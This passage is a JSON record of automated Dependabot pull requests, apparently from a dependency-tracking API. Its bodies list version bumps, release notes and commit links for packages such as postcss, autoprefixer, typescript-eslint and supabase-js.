href=\"https://github.com/chromaui/chromatic-e2e/commit/9351a7ddd424d86edb353091fdb3915fddac40e7\"\u003e\u003ccode\u003e9351a7d\u003c/code\u003e\u003c/a\u003e fix(vitest): prevent duplicate story names error when test name is identical ...\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/chromaui/chromatic-e2e/commits/@chromatic-com/playwright@0.14.11/packages/playwright\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `autoprefixer` from 10.5.2 to 10.5.4\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/postcss/autoprefixer/releases\"\u003eautoprefixer's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e10.5.4\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed prefixed rule duplication (by \u003ca href=\"https://github.com/xianjianlf2\"\u003e\u003ccode\u003e@​xianjianlf2\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e10.5.3\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed brackets and gradient parser (\u003ca href=\"https://github.com/alanturing881\"\u003e\u003ccode\u003e@​alanturing881\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/postcss/autoprefixer/blob/main/CHANGELOG.md\"\u003eautoprefixer's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e10.5.4\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed prefixed rule duplication (by \u003ca href=\"https://github.com/xianjianlf2\"\u003e\u003ccode\u003e@​xianjianlf2\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e10.5.3\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed brackets and gradient parser (\u003ca href=\"https://github.com/alanturing881\"\u003e\u003ccode\u003e@​alanturing881\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/autoprefixer/commit/4cad00f0e839f3d7bbcdcc00b7df6fc448fb28f3\"\u003e\u003ccode\u003e4cad00f\u003c/code\u003e\u003c/a\u003e Release 10.5.4 version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/autoprefixer/commit/e62a4b1782f4ece51070feba79b0ff19f4305c68\"\u003e\u003ccode\u003ee62a4b1\u003c/code\u003e\u003c/a\u003e Update CI config\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/autoprefixer/commit/c8f0d0ae00f5bb28bbcc3413f70b088020007469\"\u003e\u003ccode\u003ec8f0d0a\u003c/code\u003e\u003c/a\u003e Update dependencies\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/autoprefixer/commit/cae35771dc4a4dfeda637a31dc1795ace6d9d28b\"\u003e\u003ccode\u003ecae3577\u003c/code\u003e\u003c/a\u003e Move back to latest pnpm 11\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/autoprefixer/commit/fd31eb33b56ab9663d298b5bf08ae4ff47f76878\"\u003e\u003ccode\u003efd31eb3\u003c/code\u003e\u003c/a\u003e Fix duplicated prefixed selectors on reformatted CSS (\u003ca href=\"https://redirect.github.com/postcss/autoprefixer/issues/1552\"\u003e#1552\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/autoprefixer/commit/958d390787c31c3044c1fb68ec37efc29637e26b\"\u003e\u003ccode\u003e958d390\u003c/code\u003e\u003c/a\u003e Release 10.5.3 version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/autoprefixer/commit/21d2adb4d1fc6103c1e3cc39c991de59fdb5496e\"\u003e\u003ccode\u003e21d2adb\u003c/code\u003e\u003c/a\u003e Fix gradient parser\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/autoprefixer/commit/f7ddae99f0ebfa3961a5c14bd9ecb7d4310601a6\"\u003e\u003ccode\u003ef7ddae9\u003c/code\u003e\u003c/a\u003e Fix bracket parser\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/autoprefixer/commit/10ea5e7b8511a3e07aeb8a0f50f61496bc3faf4f\"\u003e\u003ccode\u003e10ea5e7\u003c/code\u003e\u003c/a\u003e Update dependencies and remove patch\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/autoprefixer/commit/b6e8a2a4672cafafcb3bb2c72cd0027a31b1a320\"\u003e\u003ccode\u003eb6e8a2a\u003c/code\u003e\u003c/a\u003e Update Dev Container\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/postcss/autoprefixer/compare/10.5.2...10.5.4\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `postcss` from 8.5.17 to 8.5.19\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/postcss/postcss/releases\"\u003epostcss's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e8.5.19\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed cleaning \u003ccode\u003ebefore\u003c/code\u003e for new nodes inserted to \u003ccode\u003eRoot\u003c/code\u003e (by \u003ca href=\"https://github.com/MahinAnowar\"\u003e\u003ccode\u003e@​MahinAnowar\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.18\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eRestricted loading previous source maps file to the \u003ccode\u003eopts.from\u003c/code\u003e folder for security reasons (use \u003ccode\u003eunsafeMap: true\u003c/code\u003e to disable the check).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/postcss/postcss/blob/main/CHANGELOG.md\"\u003epostcss's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e8.5.19\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed cleaning \u003ccode\u003ebefore\u003c/code\u003e for new nodes inserted to \u003ccode\u003eRoot\u003c/code\u003e (by \u003ca href=\"https://github.com/MahinAnowar\"\u003e\u003ccode\u003e@​MahinAnowar\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.18\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eRestricted loading previous source maps file to the \u003ccode\u003eopts.from\u003c/code\u003e folder for security reasons (use \u003ccode\u003eunsafeMap: true\u003c/code\u003e to disable the check).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/9543b22769bef5bcd47600fbca752204c106cda8\"\u003e\u003ccode\u003e9543b22\u003c/code\u003e\u003c/a\u003e Release 8.5.19 version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/3d13bf9360652922de0535f6257e1648187363f0\"\u003e\u003ccode\u003e3d13bf9\u003c/code\u003e\u003c/a\u003e Fix CI on Windows too\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/00d0dd2322162f6083d507ea6954685e1c92f165\"\u003e\u003ccode\u003e00d0dd2\u003c/code\u003e\u003c/a\u003e Keep explicitly set raws.before when inserting nodes into root (\u003ca href=\"https://redirect.github.com/postcss/postcss/issues/2111\"\u003e#2111\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/7a05b33e7a15d6f80d90098784170ad3dca39180\"\u003e\u003ccode\u003e7a05b33\u003c/code\u003e\u003c/a\u003e Temporary fix CI\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/4c0d194c136fd374495d0993c890d794cab65b81\"\u003e\u003ccode\u003e4c0d194\u003c/code\u003e\u003c/a\u003e Release 8.5.18 version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/92b4e7891ec7b811821d01acc8aa0f010caf41e2\"\u003e\u003ccode\u003e92b4e78\u003c/code\u003e\u003c/a\u003e Update dependencies\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/95663d3eb7ba26f4854dd19d3b4f4425760cf56c\"\u003e\u003ccode\u003e95663d3\u003c/code\u003e\u003c/a\u003e Limit where source map can be loaded for security reasons\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/postcss/postcss/compare/8.5.17...8.5.19\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `typescript-eslint` from 8.63.0 to 8.64.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases\"\u003etypescript-eslint's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev8.64.0\u003c/h2\u003e\n\u003ch2\u003e8.64.0 (2026-07-13)\u003c/h2\u003e\n\u003ch3\u003e🚀 Features\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003esupport parsing \u003ccode\u003eimport defer\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12513\"\u003e#12513\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [no-loop-func] support \u003ccode\u003eusing\u003c/code\u003e / \u003ccode\u003eawait using\u003c/code\u003e declarations and deprecate the rule (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12500\"\u003e#12500\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003etypescript-estree:\u003c/strong\u003e throw for invalid definite assignment in class properties (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12543\"\u003e#12543\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e🩹 Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [require-array-sort-compare] handle constrained arrays (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12512\"\u003e#12512\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e❤️ Thank You\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eEvyatar Daud \u003ca href=\"https://github.com/StyleShit\"\u003e\u003ccode\u003e@​StyleShit\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e송재욱\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eSee \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.64.0\"\u003eGitHub Releases\u003c/a\u003e for more information.\u003c/p\u003e\n\u003cp\u003eYou can read about our \u003ca href=\"https://typescript-eslint.io/users/versioning\"\u003eversioning strategy\u003c/a\u003e and \u003ca href=\"https://typescript-eslint.io/users/releases\"\u003ereleases\u003c/a\u003e on our website.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/blob/main/packages/typescript-eslint/CHANGELOG.md\"\u003etypescript-eslint's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e8.64.0 (2026-07-13)\u003c/h2\u003e\n\u003cp\u003eThis was a version bump only for typescript-eslint to align it with other projects, there were no code changes.\u003c/p\u003e\n\u003cp\u003eSee \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.64.0\"\u003eGitHub Releases\u003c/a\u003e for more information.\u003c/p\u003e\n\u003cp\u003eYou can read about our \u003ca href=\"https://typescript-eslint.io/users/versioning\"\u003eversioning strategy\u003c/a\u003e and \u003ca href=\"https://typescript-eslint.io/users/releases\"\u003ereleases\u003c/a\u003e on our website.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/414d9abbf66f77796ab12ec7e75b07722e592832\"\u003e\u003ccode\u003e414d9ab\u003c/code\u003e\u003c/a\u003e chore(release): publish 8.64.0\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commits/v8.64.0/packages/typescript-eslint\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore \u003cdependency name\u003e major version` will close this group update PR and stop Dependabot creating any more for the specific dependency's major version (unless you unignore this specific dependency's major version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e minor version` will close this group update PR and stop Dependabot creating any more for the specific dependency's minor version (unless you unignore this specific dependency's minor version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e` will close this group update PR and stop Dependabot creating any more for the specific dependency (unless you unignore this specific dependency or upgrade to it yourself)\n- `@dependabot unignore \u003cdependency name\u003e` will remove all of the ignore conditions of the specified dependency\n- `@dependabot unignore \u003cdependency name\u003e \u003cignore condition\u003e` will remove the ignore condition of the specified dependency and ignore conditions\n\n\n\u003c/details\u003e","html_url":"https://github.com/Prekzursil/momentstudio/pull/652","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/Prekzursil%2Fmomentstudio/issues/652","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/652/packages"},{"uuid":"4920635578","node_id":"PR_kwDORc1nUM7zb9U7","number":172,"state":"open","title":"chore(deps): bump the npm-dependencies group across 1 directory with 16 updates","user":"dependabot[bot]","labels":["dependencies","javascript"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-07-19T00:26:14.000Z","updated_at":"2026-07-19T00:28:47.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps): bump","group_name":"npm-dependencies","update_count":16,"packages":[{"name":"@supabase/supabase-js","old_version":"2.108.1","new_version":"2.110.7","repository_url":"https://github.com/supabase/supabase-js"},{"name":"lucide-react","old_version":"1.17.0","new_version":"1.25.0","repository_url":"https://github.com/lucide-icons/lucide"},{"name":"next","old_version":"16.2.9","new_version":"16.2.10","repository_url":"https://github.com/vercel/next.js"},{"name":"@axe-core/playwright","old_version":"4.11.3","new_version":"4.12.1","repository_url":"https://github.com/dequelabs/axe-core-npm"},{"name":"@playwright/test","old_version":"1.60.0","new_version":"1.61.1","repository_url":"https://github.com/microsoft/playwright"},{"name":"@tailwindcss/postcss","old_version":"4.3.0","new_version":"4.3.3","repository_url":"https://github.com/tailwindlabs/tailwindcss"},{"name":"@types/node","old_version":"25.9.3","new_version":"26.1.1","repository_url":"https://github.com/DefinitelyTyped/DefinitelyTyped"},{"name":"eslint","old_version":"9.39.3","new_version":"10.7.0","repository_url":"https://github.com/eslint/eslint"},{"name":"eslint-config-next","old_version":"16.2.9","new_version":"16.2.10","repository_url":"https://github.com/vercel/next.js"},{"name":"lint-staged","old_version":"17.0.7","new_version":"17.1.0","repository_url":"https://github.com/lint-staged/lint-staged"},{"name":"postcss","old_version":"8.5.15","new_version":"8.5.19","repository_url":"https://github.com/postcss/postcss"},{"name":"prettier","old_version":"3.8.3","new_version":"3.9.5","repository_url":"https://github.com/prettier/prettier"},{"name":"prettier-plugin-tailwindcss","old_version":"0.8.0","new_version":"0.8.1","repository_url":"https://github.com/tailwindlabs/prettier-plugin-tailwindcss"},{"name":"tailwindcss","old_version":"4.3.0","new_version":"4.3.3","repository_url":"https://github.com/tailwindlabs/tailwindcss"},{"name":"typescript","old_version":"6.0.3","new_version":"7.0.2","repository_url":"https://github.com/microsoft/TypeScript"},{"name":"typescript-eslint","old_version":"8.61.0","new_version":"8.64.0","repository_url":"https://github.com/typescript-eslint/typescript-eslint"}],"path":null,"ecosystem":"npm"},"body":"Bumps the npm-dependencies group with 16 updates in the / directory:\n\n| Package | From | To |\n| --- | --- | --- |\n| [@supabase/supabase-js](https://github.com/supabase/supabase-js/tree/HEAD/packages/core/supabase-js) | `2.108.1` | `2.110.7` |\n| [lucide-react](https://github.com/lucide-icons/lucide/tree/HEAD/packages/lucide-react) | `1.17.0` | `1.25.0` |\n| [next](https://github.com/vercel/next.js) | `16.2.9` | `16.2.10` |\n| [@axe-core/playwright](https://github.com/dequelabs/axe-core-npm) | `4.11.3` | `4.12.1` |\n| [@playwright/test](https://github.com/microsoft/playwright) | `1.60.0` | `1.61.1` |\n| [@tailwindcss/postcss](https://github.com/tailwindlabs/tailwindcss/tree/HEAD/packages/@tailwindcss-postcss) | `4.3.0` | `4.3.3` |\n| [@types/node](https://github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/node) | `25.9.3` | `26.1.1` |\n| [eslint](https://github.com/eslint/eslint) | `9.39.3` | `10.7.0` |\n| [eslint-config-next](https://github.com/vercel/next.js/tree/HEAD/packages/eslint-config-next) | `16.2.9` | `16.2.10` |\n| [lint-staged](https://github.com/lint-staged/lint-staged) | `17.0.7` | `17.1.0` |\n| [postcss](https://github.com/postcss/postcss) | `8.5.15` | `8.5.19` |\n| [prettier](https://github.com/prettier/prettier) | `3.8.3` | `3.9.5` |\n| [prettier-plugin-tailwindcss](https://github.com/tailwindlabs/prettier-plugin-tailwindcss) | `0.8.0` | `0.8.1` |\n| [tailwindcss](https://github.com/tailwindlabs/tailwindcss/tree/HEAD/packages/tailwindcss) | `4.3.0` | `4.3.3` |\n| [typescript](https://github.com/microsoft/TypeScript) | `6.0.3` | `7.0.2` |\n| [typescript-eslint](https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/typescript-eslint) | `8.61.0` | `8.64.0` |\n\n\nUpdates `@supabase/supabase-js` from 2.108.1 to 2.110.7\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/supabase/supabase-js/releases\"\u003e@​supabase/supabase-js's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev2.110.7\u003c/h2\u003e\n\u003ch2\u003e2.110.7 (2026-07-16)\u003c/h2\u003e\n\u003ch3\u003e🩹 Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003epostgrest:\u003c/strong\u003e correct self-reference inference (\u003ca href=\"https://redirect.github.com/supabase/supabase-js/pull/2525\"\u003e#2525\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003erealtime:\u003c/strong\u003e trigger set auth on INITIAL_SESSION event (\u003ca href=\"https://redirect.github.com/supabase/supabase-js/pull/2531\"\u003e#2531\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003erealtime:\u003c/strong\u003e update phoenix to fix presence issue (\u003ca href=\"https://redirect.github.com/supabase/supabase-js/pull/2532\"\u003e#2532\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e❤️ Thank You\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eEduardo Gurgel\u003c/li\u003e\n\u003cli\u003eFilipe Cabaço \u003ca href=\"https://github.com/filipecabaco\"\u003e\u003ccode\u003e@​filipecabaco\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eVaibhav \u003ca href=\"https://github.com/7ttp\"\u003e\u003ccode\u003e@​7ttp\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev2.110.7-canary.1\u003c/h2\u003e\n\u003ch2\u003e2.110.7-canary.1 (2026-07-16)\u003c/h2\u003e\n\u003ch3\u003e🩹 Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003erealtime:\u003c/strong\u003e update phoenix to fix presence issue (\u003ca href=\"https://redirect.github.com/supabase/supabase-js/pull/2532\"\u003e#2532\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e❤️ Thank You\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eEduardo Gurgel\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev2.110.7-canary.0\u003c/h2\u003e\n\u003ch2\u003e2.110.7-canary.0 (2026-07-16)\u003c/h2\u003e\n\u003ch3\u003e🩹 Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003epostgrest:\u003c/strong\u003e correct self-reference inference (\u003ca href=\"https://redirect.github.com/supabase/supabase-js/pull/2525\"\u003e#2525\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003erealtime:\u003c/strong\u003e trigger set auth on INITIAL_SESSION event (\u003ca href=\"https://redirect.github.com/supabase/supabase-js/pull/2531\"\u003e#2531\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e❤️ Thank You\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFilipe Cabaço \u003ca href=\"https://github.com/filipecabaco\"\u003e\u003ccode\u003e@​filipecabaco\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eVaibhav \u003ca href=\"https://github.com/7ttp\"\u003e\u003ccode\u003e@​7ttp\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev2.110.6\u003c/h2\u003e\n\u003ch2\u003e2.110.6 (2026-07-15)\u003c/h2\u003e\n\u003ch3\u003e🩹 Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003epostgrest:\u003c/strong\u003e type hinted self-referencing embeds as arrays (\u003ca href=\"https://redirect.github.com/supabase/supabase-js/pull/2520\"\u003e#2520\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003erealtime:\u003c/strong\u003e forward opts to send() in track() (\u003ca href=\"https://redirect.github.com/supabase/supabase-js/pull/2490\"\u003e#2490\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003esupabase:\u003c/strong\u003e warn instead of throw for unrecognized sb_ API key subtypes (\u003ca href=\"https://redirect.github.com/supabase/supabase-js/pull/2526\"\u003e#2526\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e❤️ Thank You\u003c/h3\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/supabase/supabase-js/blob/master/packages/core/supabase-js/CHANGELOG.md\"\u003e@​supabase/supabase-js's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e2.110.7 (2026-07-16)\u003c/h2\u003e\n\u003ch3\u003e🩹 Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003erealtime:\u003c/strong\u003e trigger set auth on INITIAL_SESSION event (\u003ca href=\"https://redirect.github.com/supabase/supabase-js/pull/2531\"\u003e#2531\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e❤️ Thank You\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFilipe Cabaço \u003ca href=\"https://github.com/filipecabaco\"\u003e\u003ccode\u003e@​filipecabaco\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2.110.6 (2026-07-15)\u003c/h2\u003e\n\u003ch3\u003e🩹 Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003esupabase:\u003c/strong\u003e warn instead of throw for unrecognized sb_ API key subtypes (\u003ca href=\"https://redirect.github.com/supabase/supabase-js/pull/2526\"\u003e#2526\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e❤️ Thank You\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eKaterina Skroumpelou \u003ca href=\"https://github.com/mandarini\"\u003e\u003ccode\u003e@​mandarini\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2.110.5 (2026-07-14)\u003c/h2\u003e\n\u003ch3\u003e🩹 Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003esupabase:\u003c/strong\u003e avoid edge runtime warning (\u003ca href=\"https://redirect.github.com/supabase/supabase-js/pull/2522\"\u003e#2522\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e❤️ Thank You\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eVaibhav \u003ca href=\"https://github.com/7ttp\"\u003e\u003ccode\u003e@​7ttp\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2.110.4 (2026-07-14)\u003c/h2\u003e\n\u003ch3\u003e🩹 Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003efunctions:\u003c/strong\u003e stop sending API key in Authorization header for function calls (\u003ca href=\"https://redirect.github.com/supabase/supabase-js/pull/2511\"\u003e#2511\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e❤️ Thank You\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eKaterina Skroumpelou \u003ca href=\"https://github.com/mandarini\"\u003e\u003ccode\u003e@​mandarini\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2.110.3 (2026-07-13)\u003c/h2\u003e\n\u003cp\u003eThis was a version bump only for \u003ccode\u003e@​supabase/supabase-js\u003c/code\u003e to align it with other projects, there were no code changes.\u003c/p\u003e\n\u003ch2\u003e2.110.2 (2026-07-09)\u003c/h2\u003e\n\u003cp\u003eThis was a version bump only for \u003ccode\u003e@​supabase/supabase-js\u003c/code\u003e to align it with other projects, there were no code changes.\u003c/p\u003e\n\u003ch2\u003e2.110.1 (2026-07-07)\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/supabase/supabase-js/commit/130fa11ac61dbed695f75ea8fb88a796e15db985\"\u003e\u003ccode\u003e130fa11\u003c/code\u003e\u003c/a\u003e fix(realtime): trigger set auth on INITIAL_SESSION event (\u003ca href=\"https://github.com/supabase/supabase-js/tree/HEAD/packages/core/supabase-js/issues/2531\"\u003e#2531\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/supabase/supabase-js/commit/c90b1cdec7fecaaf0f959d22e7b40f98aa06ec6b\"\u003e\u003ccode\u003ec90b1cd\u003c/code\u003e\u003c/a\u003e chore(release): version 2.110.6 changelogs (\u003ca 